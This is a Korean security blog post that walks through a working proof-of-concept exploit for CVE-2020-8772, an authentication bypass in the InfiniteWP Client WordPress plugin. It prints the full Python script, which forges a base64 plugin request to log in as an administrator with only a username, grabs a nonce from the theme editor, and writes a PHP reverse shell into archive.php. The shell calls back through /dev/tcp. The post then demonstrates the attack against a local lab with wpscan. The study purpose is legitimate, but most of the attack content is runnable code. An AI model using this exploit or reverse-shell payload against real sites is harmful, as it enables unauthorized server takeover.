취약점 | CVE

[CVE-2020-8772] Wordpress 1.9.4.5 Authentication Bypass

건우Sec 2024. 11. 17. 17:45

CVE-2020-8772 세부정보

- 인증우회 취약점 - Authentication Bypass

- 관리자 계정 이름만 만 있어도 로그인 가능

 

CVE-2020-8772 설명

CVE-2020-8772 취약점은 1.9.4.5 버전에서 발견된 인증우회 - Authentication Bypass 취약점 입니다

 

이 취약점은 플러그인에 iwp_mmb_set_request 라는 함수에서 인증우회를 할수있는 점에서 발생한다.

 

공격자는 Wordpress 관리자 계정에 이름만 알고있어도 로그인을 할수있다.

 

POC 제작

https://blog.sunggwanchoi.com/kor-infinitewp-client-1-9-4-5-authentication-bypass/

 

[KOR] 취약점 분석 - CVE-2020-8772

들어가며 이 글에서는 취약점 분석 방법과 InfiniteWP Client < 1.9.4.5 (CVE-2020-8772) [https://nvd.nist.gov/vuln/detail/CVE-2020-8772] 라는 워드프레스 플러그인 취약점 분석을 진행한다. 글 자체는 IWP 플러그인의

blog.sunggwanchoi.com

 

위 자료를 참고하였습니다.

 

iwpExploit

def iwpExploit(session, url, header, data):
    url = url + "/wp-admin/"
    print("[+] Trying " + url + " with IWP payload : " + data)

    try:
        res = session.post(url, headers=header, data=data)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)
    
    return True

 

url = url + "/wp-admin/"

 

공격대상에 /wp-admin/ 경로 설정

try:
    res = session.post(url, headers=header, data=data)
    if res.status_code != 200:
        print("[-] Failed to reach endpoint")
        print(res.status_code)
        exit(1)
except Exception as e:
    print("[-] Error occurred: " + str(e))
    exit(1)

 

res = session.post(url, headers=header, data=data)

 

sesstion.post 을 사용하여 url 에 POST 요청을 보냄

if res.status_code != 200:

 

만약 웹 서버에 응답 코드가 200이 아닌경우 

print("[-] Failed to reach endpoint")
    print(res.status_code)
    exit(1)

 

에러 메세지 출력 후 현재 상태코드 출력 404 , 505

 

그후 에러메시지 출력후 종료

return True

 

정상적으로 실행되면 True 를 반환

 

getNonce

def getNonce(session, url, header, themeName):
    """
    Get Nonce and return Nonce 

    :return:nonce:str:Nonce of the theme-editor.php?file=archive.php 
    """

    # First, see if we can visit the theme-editor.php endpoint 
    urlFirst = url + '/wp-admin/theme-editor.php'
    print("[+] Trying " + urlFirst)

    try:
        res = session.get(urlFirst, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    

    # Second, retrieve the nonce from the page and return the nonce 
    urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
    print("[+] Trying " + urlSecond)

    try:
        res = session.get(urlSecond, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    
    try:
        soup = BeautifulSoup(res.text, features='lxml')
        nonce = soup.find_all(id='_wpnonce')[0].get('value')
        print("[DEBUG] Nonce = ", nonce)
    except Exception as e:
        print('[-] Error occurred: Potential username problem - ' + str(e))
        exit(1)

    return nonce

 

def getNonce(session, url, header, themeName):
    """
    Get Nonce and return Nonce 

    :return:nonce:str:Nonce of the theme-editor.php?file=archive.php 
    """

 

session , url , header , nonce , payload , ThemeName

 

1. session : HTTP 요청보냄.

 

2. url : 공격대상 url : /wp-admin/theme-editor.php

 

3. header : 요청시 사용할 헤더정보

 

4. nonce : getNonce 에서 얻은 nonce 값

 

5. payload : archive.php 파일에 삽입할 php 리버스쉘

 

6. themeName : Wordpress 사이트 테마

urlFirst = url + '/wp-admin/theme-editor.php'
print("[+] Trying " + urlFirst)

 

'/wp-admin/theme-editor.php' 테마 파일을 편집할수 있는 관리자 페이로 접근시도.

 

그후 시도하고 있다는 문자 출력

 

try:
    res = session.get(urlFirst, headers=header)
    if res.status_code != 200:
        print("[-] Failed to reach endpoint")
        print(res.status_code)
        exit(1)
except Exception as e:
    print("[-] Error occurred: Potential theme name problem - " + str(e))
    exit(1)

 

session.get() 을 사용하여 /wp-admin/theme-editor.php 에 GET 요청 보냄

 

!= 200: 응답 상태가 200 이 아닌경우 오류 메세지를 출력후 종료 exit(1)

 

except Exception as e: 예외가 발생하면 오류출력후 종료 exit(1)

 

urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
print("[+] Trying " + urlSecond)

 

urlSecond 에서 archive.php 즉 테마파일을 편집하기 위해 테마 이름을 포함한 url 생성 + themeName

 

그후

 

시도하고 있다는걸 출력 [+] Trying + urlSecond

try:
    res = session.get(urlSecond, headers=header)
    if res.status_code != 200:
        print("[-] Failed to reach endpoint")
        print(res.status_code)
        exit(1)
except Exception as e:
    print("[-] Error occurred: Potential theme name problem - " + str(e))
    exit(1)

 

session.get 을 사용하여 urlSecond 페이지에 GET 요청보냄.

 

if res.status_code != 200:  마찬가지로 응답상태가 200이 아니면 오류를 출력하고 종료.

 

except Exception as e:  예외가 발생하면 오류 출력하고 종료 exit(1)

 

try:
    soup = BeautifulSoup(res.text, features='lxml')
    nonce = soup.find_all(id='_wpnonce')[0].get('value')
    print("[DEBUG] Nonce = ", nonce)
except Exception as e:
    print('[-] Error occurred: Potential username problem - ' + str(e))
    exit(1)

 

요청 페이지 응답내용은 res.txt 로 저장 BeautifulSoup을 사용해 HTML을 파싱함.

 

HTML 에서 id="_wpnonce" 와 관련된 모든요소를 찾음

그후 관련된 요소를 출력 print("[DEBUG] Nonce = ", nonce)

 

return nonce 추출한 nonce 값 반환

 

예외처리로 username 에 문제가 생겼다면 에러메세지 출력후 exit(1) 나가기

 

injectPayload

def injectPayload(session, url, header, nonce, payload, themeName):
    """
    Inject the php payload into archive.php 

    :return:bool:True/False based on successfully injecting php payload 
    """
    url = url + "/wp-admin/theme-editor.php"
    payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}

    print("[+] Trying " + url)
    print("[+] Full Payload : ", payloadData)

    try:
        res = session.post(url, headers=header, data=payloadData)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)

    return True

 

def injectPayload(session, url, header, nonce, payload, themeName):
    """
    Inject the php payload into archive.php 

    :return:bool:True/False based on successfully injecting php payload 
    """

 

session , url , header , nonce , payload , themeName

 

1. session : HTTP 요청보냄.

 

2. url : 공격대상 url : /wp-admin/theme-editor.php

 

3. header : 요청시 사용할 헤더정보

 

4. nonce : getNonce 에서 얻은 nonce 값

 

5. payload : archive.php 파일에 삽입할 php 리버스쉘

 

6. themeName : Wordpress 사이트 테마

 

url = url + "/wp-admin/theme-editor.php"

 

url 설정

payloadData = {
    "_wpnonce": nonce,
    "newcontent": payload,
    "action": "update",
    "file": "archive.php",
    "theme": themeName,
    "scrollto": "0",
    "docs-list": '',
    "submit": "Update File"
}

 

페이로드 데이터 설정

 

payloadData 에서 POST 요청을 전송함.

 

여기에서 가장 중요한것만 설명하겠습니다

 

1. newcontent : archive.php 에 삽입할 HP 리버스쉘 코드입니다.

 

2. file : archive.php 파일로 수정

print("[+] Trying " + url)
print("[+] Full Payload : ", payloadData)

try:
    res = session.post(url, headers=header, data=payloadData)
    if res.status_code != 200:
        print("[-] Failed to reach endpoint")
        print(res.status_code)
        exit(1)
except Exception as e:
    print("[-] Error occurred: " + str(e))
    exit(1)

 

session.post(url, headers=header, data=payloadData) 에서 POST 요청을 보내면서 해더와 데이터를 전송.

 

payloadData 에선 nonce , payload , file , theme 등 정보가 포함되어있음 또한 이 데이터를 통해

 

archive.php 를 수정후 리버스쉘로 변조시킴

 

if res.status_code != 200: 응답상태 코드가 200이 아니면 에러 메세지 출력

 

except Exception as e: 예외처리가 발생하면 메세지 출력후 종류 exit(1)

 

return True

 

성공적으로 archive.php 에 리버스쉘을 작동되면 True 값을 반환

main

def main():
    arg = parseArguments()
    baseUrl = arg.u
    username = arg.n 
    themeName = arg.t

    ######### CHANGE ME !!! ######### 
    payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.57.142/443 0>&1'");"""
    ######### CHANGE ME !!! #########

    print("[DEBUG] baseUrl - ", baseUrl)
    print("[DEBUG] username - ", username)
    print("[DEBUG] themeName - ", themeName)
    print("[DEBUG] Payload - ", payload)
    print("[DEBUG] (Make sure to change the payload)")
    print()

    # Setting up basic url, header, payload for the attack 
    if baseUrl[-1] == '/':
        baseUrl = baseUrl[:-1]

    header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"}
    iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
    iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')

    session = requests.session()
    
    # Actual Attack starts - Stages are pretty self-explanatory 

    print("[+] Stage1: IWP Exploit & Sanity Check")
    result = iwpExploit(session, baseUrl, header, iwpPayload)
    print()

    print("[+] Stage2: Getting Nonce")
    nonce = getNonce(session, baseUrl, header, themeName)
    if (nonce == False):
        print("[-] Stage 2 failed. Exiting.")
        exit(1)
    print()

    print("[+] Stage3: Injecting Payload into archive.php")
    result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
    if (result == False):
        print("[-] Stage 1 failed. Exiting.")
        exit(1)
    print()

    finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
    print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\n")
    print("[+] Visit --> ", finalUrl, "\n")

 

arg = parseArguments()
baseUrl = arg.u
username = arg.n 
themeName = arg.t

 

딱히 중요한건 아니여서 패스

######### CHANGE ME !!! ######### 
payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.57.142/443 0>&1'");"""
######### CHANGE ME !!! #########

 

archive.php 에 수정할 php 리버스쉘 설정

 

이부분에서 192.168.57.142/443 은 수정해야됨

print("[DEBUG] baseUrl - ", baseUrl)
print("[DEBUG] username - ", username)
print("[DEBUG] themeName - ", themeName)
print("[DEBUG] Payload - ", payload)
print("[DEBUG] (Make sure to change the payload)")
print()

 

패스

if baseUrl[-1] == '/':
    baseUrl = baseUrl[:-1]

 

url 이 잘못되는걸 방지하기 위해 url 이 / 으로 끝나면 이를 제거하여 url 을 바꿈

 

'/'

header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"}

 

헤더설정

iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')

 

iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'

 

페이로드를 해석하자면 

 

{"iwp_action": "add_site", "params": {"username": "admin"}}

 

iwp_action 에서 IWP 플러그인에게 명령을 내려 add_site 행동에 필요한 파라미터중 username=admin 을 보내는거와 같다 따라서 username:admin 이 저장되고 action 변수에는 add_site 스트링 값이 저장된다

 

또한

 

iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')

 

이는 Base64 로 인코딩하여 서버에 전송한다.

 

print("[+] Stage1: IWP Exploit & Sanity Check")
result = iwpExploit(session, baseUrl, header, iwpPayload)
print()

 

print("[+] Stage2: Getting Nonce")
nonce = getNonce(session, baseUrl, header, themeName)
if (nonce == False):
    print("[-] Stage 2 failed. Exiting.")
    exit(1)
print()

 

print("[+] Stage3: Injecting Payload into archive.php")
result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
if (result == False):
    print("[-] Stage 1 failed. Exiting.")
    exit(1)
print()

 

요 3가지는 PHP 리버스쉘을 작동시키는 과정이다

 

또한 archive.php 파일에 리버스쉘을 삽입한다

 

그후

 

finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\n")
print("[+] Visit --> ", finalUrl, "\n")

 

공격이 성공적으로 완료가 되면 메세지를 출력한다

 

그다음 netcat 리스너를 설정하라는 메세지도 함께 출력되는데

 

그로인해 원격쉘에 접속할수 있게 된다

 

CVE-2020-8772 실습

먼저 관리자 계정에 이름을 알아내야 되기 때문에

wpscan --url http://127.0.0.1:31337/ --enumerate u

 

wpscan 으로 스캔해주겠습니다

 

스캔중...

 

현재 테마는 twentytwenty 라는것을 알아냈고

 

관리자 계정에 이름이 admin 이라는걸 알아냈습니다

 

이제 PHP 리버스쉘을 실행시켜보겠습니다

 

공격을 진행하기 위해

 

원래 192.168.57.142 인걸

 

자기 주소의 IP 로 바꿔주었습니다

 

그후 실행시켜보겠습니다

 

( nano 편집기로 저장후 하였습니다 )

 

 

조금간에 수정으로 바꿔줬습니다

 

python3 cve-2020-8722.py -u http://127.0.0.1:31337/ -n admin -t twentytwenty

 

실행후

 

리스너 설정까지 하면

 

성공적으로 쉘을 얻어내실수가 있습니다.

마치며

2번쨰 CVE 공부시간이였다

 

원인모를

 

오류가 있었지만 1시간에 걸쳐 진행했다

 

다음에도 CVE 취약점으로 돌아오겠습니다

 

여기까지 봐주셔서 감사합니다.

 

 

 

 

 

 

'취약점 | CVE' 카테고리의 다른 글

[CVE-2024-1017] [POC] Wordpress SQL 인젝션 취약점  (0) 2024.10.01